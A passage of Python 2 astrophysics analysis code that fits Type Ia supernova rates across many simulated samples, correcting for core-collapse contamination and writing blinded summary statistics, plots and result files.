'postscaledSimCC')\n # plt.step((muresBins[1:] + muresBins[:-1])/2.0, histD, c = 'r', where = 'mid', label = 'data')\n # plt.legend()\n # plt.savefig(outfilePrefix + 'ScaledHist.png')\n # plt.clf()\n if debug:\n print \"CCScaleErrs\"\n print CCScaleErrs\n if returnHist:\n return CCScales, CCScaleErrs, simIaHists, simCCHists, dataHists\n return CCScales, CCScaleErrs\n\ndef applyCCScale(NCC, CCScales, CCScaleErrs, datazbins = None, zbins = None):\n if not(zbins is None):\n zbins = np.array(zbins)\n if not (datazbins is None):\n datazbins = np.array(datazbins)\n if type(CCScaleErrs) == list:\n CCScaleErrs = np.array(CCScaleErrs)\n if type(CCScales) == list:\n CCScales = np.array(CCScales)\n print 'CCScaleErrs'\n print CCScaleErrs\n print datazbins\n print zbins\n\n\n \n if type(CCScales) == np.ndarray:\n if CCScales.shape[0] == 1:\n NCCScaled = CCScales[0]*NCC\n else:\n if (datazbins is None) | (zbins is None):\n assert(0)\n if CCScales.shape[0] < 4:\n k = CCScales.shape[0] -1\n else:\n k = 3\n \n nancond = np.isnan(CCScales)\n if np.sum(nancond) > 0:\n CCScales[nancond] = 1.\n CCScaleErrs[nancond] = 1.\n\n zCenters = (zbins[1:]+ zbins[:-1])/2.0\n print zCenters\n print CCScales\n \n #spline = UnivariateSpline(zbins, CCScales, w = 1.0/CCScaleErrs, k = k)\n spline = UnivariateSpline(zCenters, CCScales, w = 1.0/CCScaleErrs, k = k)\n\n print datazbins.shape\n print datazbins\n print NCC.shape\n\n datazcents = (datazbins[1:]+ datazbins[:-1])/2.0\n\n NCCScaled = spline(datazcents)*NCC\n\n elif (type(CCScales) == int) | (type(CCScales) == float):\n NCCScaled = CCScales*NCC\n else:\n assert(0)\n\n NCCScaled = NCCScaled.clip(0)\n print NCCScaled\n\n assert(not bool(np.sum(NCCScaled < 0)))\n\n\n return NCCScaled\n\nif __name__ == '__main__':\n from sys import argv\n print \"argv\"\n print argv\n datadir = argv[1]\n simdir = argv[2]\n dataname = argv[3]\n print \"dataname\"\n simname = argv[4]\n print simname\n simgenfile = argv[5]\n print simgenfile\n NNCut = False\n cheatType = bool(int(argv[6]))\n cheatZ = bool(int(argv[7]))\n trueBeta = float(argv[8])\n paramFile = argv[9]\n cutFiles = [argv[10]]\n try:\n debug = bool(int(argv[11]))\n except:\n debug = False\n\n \n #if( ('Combine' in simdir) or ('SALT2' in simdir)) & (('Combine' in datadir) or ('SALT2' in simdir)):\n #NNCut = True\n #NNProbCut = 0.95\n \n #if len(argv) > 6:\n # NNCut = True\n # NNProbCut = 0.9\n # NNData = argv[6]\n # NNSim = argv[7]\n\n \n #default params\n\n zminFit = 0.1\n zmaxFit = 1.2\n zminSamp = 0.1\n zmaxSamp = 1.2\n MJDMin = 0.0\n MJDMax = np.inf\n bins = \"equalSize\" \n runFit = True\n fracContamCuts = [-1]\n fixBeta = True\n fixK = False\n nbins = None\n binList = None\n ScaleMuResCutLow = -1\n ScaleMuResCutHigh = 1\n #muresBins = 1\n muresBinsLow = 3\n muresBinsHigh = 3\n scaleZBins = [0.0, 1.2]\n nScaleZBins = None\n cheatCCSub = False\n cheatCCScale = False\n ZSysFlag = False\n Blind = False\n Rate_Model = 'powerlaw'\n MURESCuts = 2.0 #[(0.0, 0.8, -0.5, 0.5), (0.8, 1.5, -1, 1)]\n noCCMC = False\n fixCCScale = False\n trueMCBeta = 1.65\n trueMCK = 1.97E-5\n\n priorRate = None\n priorZEff = None\n ratePriorErrUp = None\n ratePriorErrDown =None\n ratePriorErrAll = None\n priors = None\n\n #override file\n\n params = open(paramFile, 'r').readlines()\n\n for p in params:\n\n print p\n exec(p)\n\n if nScaleZBins is None :\n redoScaleZBinFlag = False\n\n else:\n redoScaleZBinFlag = True\n\n if not(priors is None):\n if len(priors) == 3:\n priorRate, priorZEff, ratePriorErrAll = priors\n ratePriorErrUp = None\n ratePriorErrDown = None\n elif len(priors) == 4:\n priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown = priors\n ratePriorErrAll =None\n\n\n\n\n cosVal = 47392945716038.134971247\n kmean = []\n ksigma = []\n kErr = []\n BetaMean = []\n #BetaWeightMean = []\n #KWeightMean = []\n BetaSigma= []\n BetaErr = []\n zBreakMeans = []\n zBreakSigmas =[]\n zBreakErrs = []\n Chi2Mean = []\n Chi2Sigma = []\n f_JStorage = []\n f_JErrStorage = []\n SampleSizes = []\n\n CCScaleStorageGlobal = []\n CCScaleErrStorageGlobal = []\n\n\n #MURES_Cuts = [2.0]\n #MURES_Cuts = [1.0, 1.5, 2.0, 3.0, 4.0, 99.0, 2.0]\n #for MURES_Cut in MURES_Cuts:\n fcc = -1\n for cf in cutFiles:\n cuts = [] # cuts = [('FITPROB', 0.01, np.inf), ('NN_PROB_IA', NNProbCut, np.inf)]\n\n cutlist = open(cf, 'r').readlines()\n for l in cutlist:\n spl = l.split()\n cuts.append(('{0}'.format(spl[0]), float('{0}'.format(spl[1])), float('{0}'.format(spl[2]))))\n\n ks = []\n kErrs = []\n Betas = []\n BetaErrs = []\n zBreaks =[]\n zBreakErrs = []\n Chi2s = []\n\n CCScaleStorage = []\n CCScaleErrStorage = []\n\n\n nFail = 0\n simLoaded = False\n #print \"FUCK MPI\"\n #if Rate_Model == 'discrete':\n # subprocess.call(['python', 'constructChi2Func.py', str(nbins)], shell = False)\n #print \"MPI Fucked\"\n if '{' in datadir:\n if os.path.exists(datadir.format(98)):\n print \"MOAR SIMS\"\n nfile = 101\n else:\n print \"FEWAR SIMS\"\n nfile = 49\n else:\n nfile = 2\n for simInd in range(1,nfile):\n \n\n #print \"Sim {0}\".format(simInd)\n #SimBeta = 2.1 # simdir.split('_')[-3]\n #SimR0 = 1.7*10**-5 #simdir.split('_')[-5]\n #print \"Sim R0 = {1}; Sim Beta = {0}\".format(SimBeta, SimR0)\n\n \n print datadir.format(simInd)\n if simLoaded:\n try:\n \n RateTest.newData(datadir.format(simInd), dataname.format(simInd), simInd =simInd)\n if ZSysFlag:\n assert(0)\n RateTest.zSystematic(nbins = nbins, binList = binList)\n\n\n if redoScaleZBinFlag:\n\n RealCat = RateTest.postCutRealCat \n RealOutlierCat = RealCat[(RealCat['MURES'] > muresBinsHigh)| (RealCat['MURES'] < muresBinsLow)]\n\n zArray =RealOutlierCat[RateTest.ztype]\n zArray.sort()\n\n splitZs = np.array_split(zArray, nScaleZBins)\n\n #[(0[0], (0[-1] + 1[0]), (1[-1] + 2[0]), 2[1]]\n\n scaleZBins = [splitZs[0][0]]\n\n \n for i in range(1,nScaleZBins):\n\n scaleZBins.append((splitZs[i-1][-1] + splitZs[i][0] )/2.0)\n scaleZBins.append(splitZs[i][-1])\n\n\n #RateTest.effCalc(nbins = nbins, fracContamCut = fcc, simInd =simInd)\n #RateTest.effCalc(nbins = 20)\n BetaIter = []\n BetaErrIter = []\n CCIter = []\n CCErrIter = []\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, simInd =simInd, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, TrueCCScale = TrueCCScale, scaleZBins = scaleZBins, Blind = Blind)\n if Rate_Model != 'discrete':\n if Blind:\n print \"Blinding A\"\n BetaIter.append(RateTest.Beta+ np.cos(cosVal))\n else:\n BetaIter.append(RateTest.Beta)\n BetaErrIter.append(RateTest.BetaErr)\n\n for iteration in range(nIter):\n if not fixCCScale:\n if not noCCMC:\n CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname,Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)\n CCIter.append(CCScale)\n CCErrIter.append(CCScaleErr)\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = CCScale, CCScaleErr = CCScaleErr, TrueCCScale = TrueCCScale, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, f_Js =RateTest.fJList, CCZbins = scaleZBins , scaleZBins = scaleZBins, Blind = Blind)\n else:\n CCIter.append(0.0)\n CCErrIter.append(0.0)\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 0.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, f_Js =RateTest.fJList, CCZbins = scaleZBins , scaleZBins = scaleZBins, Blind = Blind)\n else:\n CCIter.append(1.0)\n CCErrIter.append(0.0)\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, f_Js =RateTest.fJList, CCZbins = scaleZBins , scaleZBins = scaleZBins, Blind = Blind)\n\n if Blind:\n print \"Blinding b\"\n BetaIter.append(RateTest.Beta+ np.cos(cosVal))\n else:\n BetaIter.append(RateTest.Beta)\n BetaErrIter.append(RateTest.BetaErr)\n if not fixCCScale:\n if not noCCMC:\n CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname,Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)\n CCIter.append(CCScale)\n CCErrIter.append(CCScaleErr)\n else:\n CCIter.append(1.0)\n CCErrIter.append(0.0)\n \n print \"CCScale Progression\"\n print CCIter\n print \"CCScale Err Progression\"\n print CCErrIter\n if Rate_Model != 'discrete':\n print \"Beta Progression\"\n print BetaIter\n print \"Beta Err Progressions\"\n print BetaErrIter\n print \"Mean Betas\"\n print np.nanmean(BetaIter)\n\n print \"Mean CCScales\"\n print np.nanmean(CCIter)\n else:\n f_JStorage.append(RateTest.fJList)\n f_JErrStorage.append(RateTest.fJErrList)\n\n #print \"AAA CC Scales\"\n if not fixCCScale:\n\n if not noCCMC:\n CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)\n print CCScale\n CCScaleStorage.append(CCScale)\n CCScaleErrStorage.append(CCScaleErr)\n else:\n CCScaleStorage.append(0.0)\n CCScaleErrStorage.append(1.0)\n else:\n CCScaleStorage.append(1.0)\n CCScaleErrStorage.append(1.0)\n \n\n\n ks.append(RateTest.k)\n kErrs.append(RateTest.kErr)\n if Blind:\n print \"Blinding c\"\n Betas.append(RateTest.Beta+ np.cos(cosVal))\n\n else:\n Betas.append(RateTest.Beta)\n BetaErrs.append(RateTest.BetaErr)\n if Rate_Model == 'brokenpowerlawVar':\n zBreaks.append(Rate_Fitter.zBreak)\n zBreakErrs.append(Rate_Fitter.zBreakErr)\n\n Chi2s.append(RateTest.chi2)\n print \"CCScale Storage Iter {0}\".format(simInd)\n print CCScaleStorage\n if not noCCMC:\n print CCScale\n print CCScale[0]\n\n \n dnamestr = datadir.format(simInd)\n\n cutdnamestr = dnamestr.split('.')[0] + '+CUTS.FITRES.gz'\n #if saveCuts:\n # np.savetxt(cutdnamestr, RateTest.realcat.Catalog, delimiter = ' ', fmt='%s')\n\n lowzCut = zminFit\n highzCut = zmaxFit\n SampleSizes.append( RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)].shape[0])\n if saveCuts:\n np.savetxt(cutdnamestr, RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)], delimiter = ' ', fmt='%s')\n #with open(cutdnamestr, 'rb') as f_in:\n # with gzip.open(cutdnamestr + '.gz', 'wb') as f_out:\n # shutil.copyfileobj(f_in, f_out)\n except Exception, e:\n print \"FAILURE\"\n print e\n traceback.print_exc()\n nFail +=1\n else:\n try:\n\n RateTest = Rate_Fitter(datadir.format(simInd), dataname.format(simInd), simdir, simname,simgenfile, trueMCBeta, trueMCK, zminSamp =zminSamp, zmaxSamp =zmaxSamp, zminFit =zminFit, zmaxFit =zmaxFit, cheatZ = cheatZ, cheatType = cheatType, cuts = cuts, cheatCCSub = cheatCCSub, cheatCCScale = cheatCCScale, Rate_Model = Rate_Model, MURESCuts = MURESCuts, noCCMC = noCCMC, priorRate = priorRate, priorZEff = priorZEff, ratePriorErrUp = ratePriorErrUp, ratePriorErrDown =ratePriorErrDown, ratePriorErrAll = ratePriorErrAll)# , MJDMin = 0, MJDMax = np.inf)\n \n if ZSysFlag:\n RateTest.zSystematic(nbins = nbins, binList = binList)\n simLoaded = True\n\n RateTest.effCalc(nbinsSamp = nbinsSamp,nbinsFit = nbinsFit, fracContamCut = fcc)\n #RateTest.effCalc(nbins = 20)\n BetaIter = []\n BetaErrIter = []\n CCIter = []\n CCErrIter = []\n\n if redoScaleZBinFlag:\n\n RealCat = RateTest.postCutRealCat \n RealOutlierCat = RealCat[(RealCat['MURES'] > muresBinsHigh)| (RealCat['MURES'] < muresBinsLow)]\n\n zArray =RealOutlierCat[RateTest.ztype]\n zArray.sort()\n\n print 'zArray'\n print zArray\n print 'nScaleZBins'\n print nScaleZBins\n\n splitZs = np.array_split(zArray, nScaleZBins)\n\n #[(0[0], (0[-1] + 1[0]), (1[-1] + 2[0]), 2[1]]\n\n scaleZBins = [splitZs[0][0]]\n\n \n for i in range(1,nScaleZBins):\n\n scaleZBins.append((splitZs[i-1][-1] + splitZs[i][0] )/2.0)\n scaleZBins.append(splitZs[i][-1])\n\n\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, simInd =simInd, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, TrueCCScale = TrueCCScale, scaleZBins = scaleZBins, Blind = Blind)\n if Rate_Model != 'discrete':\n if Blind:\n print \"Blinding d\"\n BetaIter.append(RateTest.Beta+ np.cos(cosVal))\n else:\n BetaIter.append(RateTest.Beta)\n BetaErrIter.append(RateTest.BetaErr)\n for iteration in range(nIter):\n print \"interation Number\"\n print iteration\n if not fixCCScale:\n if not noCCMC:\n CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)\n CCIter.append(CCScale)\n CCErrIter.append(CCScaleErr)\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = CCScale, CCScaleErr = CCScaleErr, TrueCCScale = TrueCCScale, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, CCZbins = scaleZBins, scaleZBins = scaleZBins, Blind = Blind)\n else:\n CCIter.append(0.0)\n CCErrIter.append(1.0)\n\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 0.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, CCZbins = scaleZBins, scaleZBins = scaleZBins, Blind = Blind)\n else:\n CCIter.append(1.0)\n CCErrIter.append(1.0)\n RateTest.fit_rate(fixK = fixK, fixBeta = fixBeta, trueBeta = trueBeta - trueMCBeta, CCScale = 1.0, CCScaleErr = 1.0, TrueCCScale = 0.0, BetaInit = RateTest.Beta, kInit = RateTest.k, BetaErr = RateTest.BetaErr, kErr = RateTest.kErr, CCZbins = scaleZBins, scaleZBins = scaleZBins, Blind = Blind)\n\n \n if Rate_Model != 'discrete':\n if Blind:\n print \"Blinding e\"\n BetaIter.append(RateTest.Beta+ np.cos(cosVal))\n else:\n BetaIter.append(RateTest.Beta)\n BetaErrIter.append(RateTest.BetaErr)\n if not fixCCScale:\n if not noCCMC:\n CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, Rate_Model = Rate_Model, f_Js =RateTest.fJList, simInd = simInd, debug = debug, ztype = RateTest.ztype)\n CCIter.append(CCScale)\n CCErrIter.append(CCScaleErr)\n if Rate_Model != 'discrete':\n print \"Beta Progression\"\n print BetaIter\n print \"Beta Err Progressions\"\n print BetaErrIter\n \n print \"Mean Betas\"\n print np.nanmean(BetaIter)\n\n else:\n f_JStorage.append(RateTest.fJList)\n f_JErrStorage.append(RateTest.fJErrList)\n \n print \"CCScale Progression\"\n print CCIter\n print \"CCScale Err Progression\"\n print CCErrIter\n print \"Mean CCScales\"\n print np.nanmean(CCIter)\n if not fixCCScale:\n if not noCCMC:\n print \"AAA CC Scales\"\n \n CCScale, CCScaleErr = getCCScale(RateTest.postCutSimCat, RateTest.postCutRealCat, MURESWindow = (ScaleMuResCutLow, ScaleMuResCutHigh), zbins = scaleZBins, Beta = RateTest.Beta, binList = RateTest.binListFit, fracCCData = RateTest.fracCCData, outfilePrefix = dataname, f_Js =RateTest.fJList, Rate_Model = Rate_Model, simInd = simInd, debug = debug, ztype = RateTest.ztype)\n print 'CC Scale'\n print CCScale\n CCScaleStorage.append(CCScale)\n CCScaleErrStorage.append(CCScaleErr)\n else: \n CCScaleStorage.append(0.0)\n CCScaleErrStorage.append(1.0)\n else:\n CCScaleStorage.append(1.0)\n CCScaleErrStorage.append(1.0)\n\n dnamestr = datadir.format(simInd)\n\n cutdnamestr = dnamestr.split('.')[0] + '+CUTS.FITRES.gz'\n\n np.savetxt(cutdnamestr, RateTest.realcat.Catalog, delimiter = ' ', fmt='%s')\n\n #with open(cutdnamestr, 'rb') as f_in:\n # with gzip.open(cutdnamestr + '.gz', 'wb') as f_out:\n # shutil.copyfileobj(f_in, f_out)\n\n\n\n cutsnamestr = simname.split('.')[0] + '+CUTS.FITRES.gz'\n\n np.savetxt(cutsnamestr, RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)], delimiter = ' ', fmt = '%s')\n\n lowzCut = zminFit\n highzCut = zmaxFit\n SampleSizes.append( RateTest.realcat.Catalog[(RateTest.realcat.Catalog[RateTest.ztype] < zmaxFit) & (RateTest.realcat.Catalog[RateTest.ztype] > zminFit)].shape[0])\n\n #with open(cutsnamestr, 'rb') as f_in:\n # with gzip.open(cutsnamestr + '.gz', 'wb') as f_out:\n # shutil.copyfileobj(f_in, f_out)\n\n\n ks.append(RateTest.k)\n kErrs.append(RateTest.kErr)\n if Rate_Model != 'discrete':\n if Blind:\n print \"Blinding f\"\n Betas.append(RateTest.Beta+ np.cos(cosVal))\n else:\n Betas.append(RateTest.Beta)\n BetaErrs.append(RateTest.BetaErr)\n\n if Rate_Model == 'brokenpowerlawVar':\n zBreaks.append(Rate_Fitter.zBreak)\n zBreakErrs.append(Rate_Fitter.zBreakErr)\n\n Chi2s.append(RateTest.chi2)\n print \"CCScale Storage Iter {0}\".format(simInd)\n print CCScaleStorage\n if not noCCMC:\n print CCScale\n print CCScale[0]\n if Rate_Model != 'discrete':\n if np.isnan(RateTest.Beta):\n nFail +=1\n\n except Exception, e:\n print \"FAILURE\"\n print e\n traceback.print_exc()\n nFail +=1\n #if Blind:\n # Betas = np.array(Betas) + np.cos(47392945716038.134971247)\n print \"Number of Failures\"\n print nFail\n if Rate_Model != 'discrete':\n\n badSims = np.invert(np.isfinite(Betas) & (BetaErrs > 0) & np.isfinite(ks) & (kErrs > 0))\n mBetas = ma.masked_array(Betas, mask=badSims)\n mBetaErrs = ma.masked_array(BetaErrs, mask=badSims)\n mks = ma.masked_array(ks, mask=badSims)\n mkErrs = ma.masked_array(kErrs, mask=badSims)\n print \"mean k\"\n print np.nanmean(ks)\n print \"mean kerrs\"\n print np.nanmean(kErrs)\n print \"std. k\"\n print np.nanstd(ks)\n print \"Mean beta\"\n print np.nanmean(Betas)\n print \"Mean betaerrs\"\n print np.nanmean(BetaErrs)\n print \"std. beta\"\n print np.nanstd(Betas)\n if len(Betas) == 1:\n kmean.append(ks[0])\n ksigma.append(0.0)\n kErr.append(kErrs[0])\n BetaMean.append(Betas[0])\n BetaSigma.append(0.0)\n BetaErr.append(BetaErrs[0])\n else:\n print \"test here\"\n print ks\n print mks\n print Betas\n print mBetas\n print 'end test here'\n kmean.append(np.average(mks, weights = 1.0/mkErrs**2))\n ksigma.append(np.std(mks))\n kErr.append(np.mean(mkErrs))\n BetaMean.append(np.average(mBetas, weights = 1.0/mBetaErrs**2))\n #BetaWeightMean.append(np.average(Betas, weights = 1.0/ma.masked_invalid(BetaErrs)**2))\n #KWeightMean.append(np.average(ks, weights = 1.0/ma.masked_invalid(kErrs)**2))\n BetaSigma.append(np.std(mBetas))\n BetaErr.append(np.mean(mBetaErrs))\n else:\n print \"mean f_Js\"\n print np.nanmean(f_JStorage, axis =0)\n print \"mean f_JErrs\"\n print np.nanmean(f_JErrStorage, axis =0)\n if Rate_Model == 'brokenpowerlawVar':\n zBreakMeans.append(np.nanmean(zBreaks))\n zBreakSigmas.append(np.nanstd(zBreaks))\n\n Chi2Mean.append(np.nanmean(Chi2s))\n Chi2Sigma.append(np.nanstd(Chi2s))\n\n \n\n \n #if simInd == 1:\n print \"Indiv Chi2s\"\n print Chi2s\n bins0 = np.linspace(1.0, 20.0, 10)\n hist, bins = np.histogram(Chi2s, bins = bins0)\n xs = (bins[1:] + bins[:-1])/2.0\n plt.bar(xs, hist, width = bins[1:] - bins[:-1])\n\n print \"Chi2 Hist\"\n print bins\n print hist\n\n chi2s = scipy.stats.chi2.pdf(xs, nbinsFit - 2)\n\n norm = np.max(hist)*1.0/np.max(chi2s)\n\n\n plt.plot(xs, chi2s*norm, color = 'g')\n if cheatType and not cheatZ:\n plt.savefig(dataname +'Chi2Plot_CheatType.png')\n elif cheatZ and not cheatType:\n plt.savefig(dataname +'Chi2Plot_CheatZ.png')\n elif cheatZ and cheatType:\n plt.savefig(dataname +'Chi2Plot_CheatTypeZ.png')\n else:\n plt.savefig(dataname +'Chi2Plot.png')\n\n if not noCCMC:\n print \"AAA CC Scale means (weighted, unweighted)\"\n #print np.average(ma.masked_invalid(np.array(CCScaleStorage)),weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2, axis = 0)\n #print np.nanmean(ma.masked_invalid(np.array(CCScaleStorage)), axis = 0)\n #print CCScaleStorage\n #print CCScaleErrStorage\n print np.average(np.array(CCScaleStorage),weights = 1.0/ma.masked_invalid(CCScaleErrStorage)**2, axis = 0)\n print np.nanmean(np.array(CCScaleStorage), axis = 0)\n print \"AAA CC Scale stds\"\n print np.nanstd(np.array(CCScaleStorage), axis = 0)\n CCScaleStorageGlobal.append(CCScaleStorage)\n\n \n\n print \"All Betas\"\n print Betas\n\n if cheatType:\n print \"THESE RESULTS ONLY INCLUDE TRUE Ias BECAUSE WE CHEATED AND USED THE SIM INFORMATION\"\n if cheatZ:\n print \"THESE RESULTS Use Simulated Redshift info\"\n '''\n print \"lengths of lists\"\n\n print len(RateTest.globalNDataStorage)\n print len(RateTest.globalChi2Storage)\n print len(RateTest.globalZPhotBinStorage)\n print len(RateTest.globalNDataIaPhotBinStorage)\n plt.clf()\n plt.scatter(RateTest.globalNDataStorage, RateTest.globalChi2Storage)\n plt.xlabel('nData')\n plt.ylabel('chi2 in bin')\n string = ''\n if cheatType: string += 'CheatType'\n if cheatZ: string += 'CheatZ'\n print 'string here'\n print string\n plt.savefig(RateTest.realName + 'Chi2VsnData' + string +'.png')\n plt.clf()\n\n\n plt.scatter(RateTest.globalZPhotBinStorage, RateTest.globalChi2Storage)\n plt.xlabel('zPhot bin center')\n plt.ylabel('chi2 in bin')\n plt.savefig(RateTest.realName + 'Chi2VsZPhot' + string +'.png')\n plt.clf()\n\n plt.clf()\n plt.scatter(RateTest.globalZPhotBinStorage, RateTest.globalNDataIaPhotBinStorage, s = 1, c = 'r', label = 'Type Ia Data, zPhot')\n plt.scatter(RateTest.globalZPhotBinStorage, RateTest.globalNDataCCPhotBinStorage, s = 1, c = 'b', label = 'CC Data, zPhot')\n plt.scatter(RateTest.globalZTrueBinStorage, RateTest.globalNDataIaTrueBinStorage, s = 1, c = 'Pink', label = 'Type Ia Data, zTrue')\n plt.scatter(RateTest.globalZTrueBinStorage, RateTest.globalNDataCCTrueBinStorage, s = 1, c = 'Cyan', label = 'CC Data, zTrue')\n plt.yscale('log')\n plt.xlabel('redshift either true or phot')\n plt.legend()\n plt.savefig(RateTest.realName + 'AggregateZDistro' + string +'.png')\n\n '''\n #print \"MURES CUTS\"\n #print MURES_Cuts\n print \"Frac Contam Cuts\"\n print fracContamCuts\n if Rate_Model != 'discrete':\n print \"Kmeans\"\n print kmean\n print \"Ksigmas\"\n print ksigma\n print \"BetaMeans\"\n print BetaMean\n print \"BetaSigmas\"\n print BetaSigma\n print \"BetaErrs\"\n print BetaErr\n else: \n print \"f_J mean unweighted\"\n print np.mean(f_JStorage, axis = 0)\n print \"f_J mean weighted\"\n print np.average(f_JStorage, weights = 1.0/(np.array(f_JErrStorage))**2, axis = 0)\n\n print \"f_J Errors\"\n print np.mean(f_JErrStorage, axis = 0)\n\n if Rate_Model == 'brokenpowerlawVar':\n print \"mean powerlaw break z\"\n print zBreakMeans\n print \"st. dev powerlaw break z\"\n print zBreakSigmas\n print \"Chi2Means\"\n print Chi2Mean\n print \"Chi2Sigma\"\n print Chi2Sigma\n\n assert(fracContamCuts[0] == -1)\n outfile = dataname\n if Rate_Model != 'discrete':\n print \"outfile Pre Prefix\"\n print outfile\n\n if cheatType:\n outfile = outfile + '_CheatType'\n if cheatZ:\n outfile = outfile + 'Z'\n elif cheatZ:\n outfile = outfile + '_CheatZ'\n\n outfile1 = outfile + '.txt'\n outfile2 = outfile + '-IndivBetaK.txt'\n output2 = open(outfile2, 'w')\n output2.write('i Beta_i k_i BetaErr_i kErr_i\\n')\n for i, b, k, berr, kerr in zip(range(len(Betas)),Betas, ks, BetaErrs, kErrs):\n output2.write('{0} {1:.4f} {2:.4f} {3:.4f} {4:.4f}\\n'.format(i, b, k, berr, kerr))\n output2.close()\n print \"Outfile Name\"\n if not(os.path.isfile(outfile1)):\n output = open(outfile1, 'w')\n output.write('#Date Date/time at which job finished\\n')\n output.write('#DataBeta Input beta for the simulated data sample. Will be 0.0 for real data.\\n')\n output.write('#N_sims Number of datalike sims that go into the subsequent means\\n')\n output.write('#SampleSize Mean Number of Events in data post cut\\n')\n output.write('#delta_Beta mean difference between large MC sim beta (2.11 for the time being) and the measured beta for the data (not the beta in column 2.\\n')\n output.write('#sigma_Beta stdev of delta_Beta over N_sims sims\\n')\n output.write('#BetaStdErr std. error in the mean of delta_Beta over N_sims sims\\n')\n output.write('#Beta_err mean statistical error on beta\\n')\n output.write('#K mean ratio between large MC sim K (1.7E-5 for the time being) and the measured K for the data \\n')\n output.write('#sigma_K stdev of K over N_sims sims\\n')\n output.write('#KStdErr std. error in the mean of K over N_sims sims\\n')\n output.write('#KStaterr mean statistical error on K\\n')\n output.write('#meanZ mean photoZ of the large MC sim\\n')\n output.write('#sigmaZ std. deviation of the photoZs for the large Sim\\n')\n output.write('#sigmaDZ std. deviation of (zSim - zPHOT)\\n')\n output.write('#NCC/NTotScaled overall CC Contamination after adjusting CC Frac to data\\n')\n output.write('#NCC/NTot overall CC Contamination in sim only\\n')\n output.write('#CCScales relative sim vs. CC rate in z-bins \\n')\n output.write('#TypeChoice Internal Diagnostic, check code comments\\n')\n output.write('#NNProbCut Threshold for NN probability of Ia\\n')\n output.write('#NBins Number of Analysis Bins\\n')\n output.write('#MRSLow Threshold for Neg Mures Outliers\\n')\n output.write('#MRSHigh Threshold for Pos Mures Outliers\\n')\n output.write('#FitprobCut Lowest Fitprob in sim\\n')\n output.write('#MRSCut NSigma Hubble residual cut\\n')\n output.write('#Chi2 minimum value of Chi2 function\\n')\n output.write('#Correlation cov[0,1]/np.sqrt(cov[0,0]*cov[1,1])\\n')\n output.write('#Date \\t\\tDataBeta N_sims SampleSize delta_Beta sigma_Beta BetaStdErr BetaStatErr K sigma_K KStdErr KStatErr meanZ sigmaZ sigmaDz NCC/NTotScaled NCC/NTot CCScales TypeChoice NNProbCut NBins MRSLow MRSHigh FitprobCut MRSCut Chi2 Correlation\\n')\n else:\n output = open(outfile1, 'a')\n print 'outfile'\n print outfile\n\n\n\n cat = RateTest.simcat.Catalog\n t = time.strftime('%b-%d-%H:%M')\n N_Sims = np.sum(np.invert(np.isnan(ks)))\n SigBeta = float(BetaSigma[0])\n SigK = float(ksigma[0])\n kStdErr = float(ksigma[0])/np.sqrt(N_Sims)\n BetaStdErr = 